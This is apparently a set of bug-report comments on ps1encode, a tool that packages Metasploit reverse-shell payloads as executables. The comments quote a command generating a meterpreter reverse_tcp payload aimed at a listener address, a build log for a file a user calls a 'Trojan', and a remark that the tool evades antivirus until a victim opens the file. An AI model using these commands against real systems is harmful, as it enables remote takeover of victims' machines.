This really should not be an issue but I am just posting this to let other people know...
ps1encode is really good, it does not get caught until the victim opens the file, but it gets caught because the anti virus saw it doing a Evo-Gen activity.

Hi please can you help me? When i put the command ""./ps1encode.rb --lhost 192.168.0.11 --lport 4444 --payload windows/meterpreter/reverse_tcp --encode exe"" i get an message error ''No encoder specified, outputting raw payload'' but i specified a exe encoder...Thaks you

When using ps1encode in Kali2 without required mingw32 dependency, logic test for it being installed passes and it says final_.exe is created with no exe. This is an issue if you are a dumb user like myself who forgets to install dependencies and then cannot find my shiny new Trojan named final_.exe that wasn't created.

Example log:
root@kali:/tmp# ruby ps1encode.rb -i IP-REMOVED -p 443 -t exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 347 bytes

compiling...
final_.exe created!
root@kali:/tmp# ls
file85Wsk9
ps1encode.rb
ssh-2xDtZUX4btJ4
systemd-private-90c7838a76be4338a5f23722e37c4db4-colord.service-zipEzF
systemd-private-90c7838a76be4338a5f23722e37c4db4-rtkit-daemon.service-Hyiaqe
tracker-extract-files.0
VMwareDnD
vmware-root
root@kali:/tmp# ls -la
total 68
drwxrwxrwt 13 root root 4096 Jan 25 13:40 .
drwxr-xr-x 25 root root 4096 Jan 11 09:49 ..
-rw-r--r-- 1 root root 0 Jan 22 15:03 file85Wsk9
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .font-unix
drwxrwxrwt 2 root root 4096 Jan 22 14:49 .ICE-unix
-rwxr-xr-x 1 root root 10947 Jan 25 13:39 ps1encode.rb
drwx------ 2 root root 4096 Jan 22 14:49 ssh-2xDtZUX4btJ4
drwx------ 3 root root 4096 Jan 22 14:48 systemd-private-90c7838a76be4338a5f23722e37c4db4-colord.service-zipEzF
drwx------ 3 root root 4096 Jan 22 14:48 systemd-private-90c7838a76be4338a5f23722e37c4db4-rtkit-daemon.service-Hyiaqe
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .Test-unix
drwx------ 2 root root 4096 Jan 22 14:49 tracker-extract-files.0
drwxrwxrwt 2 root root 4096 Jan 22 14:48 VMwareDnD
drwx------ 2 root root 4096 Jan 22 14:49 vmware-root
-r--r--r-- 1 root root 11 Jan 22 14:48 .X0-lock
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .X11-unix
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .XIM-unix
root@kali:/# locate final_.exe
root@kali:/# cd .

MSFPayload is being deprecated in June. Eventually PS1Encode should transition to MSFVenom.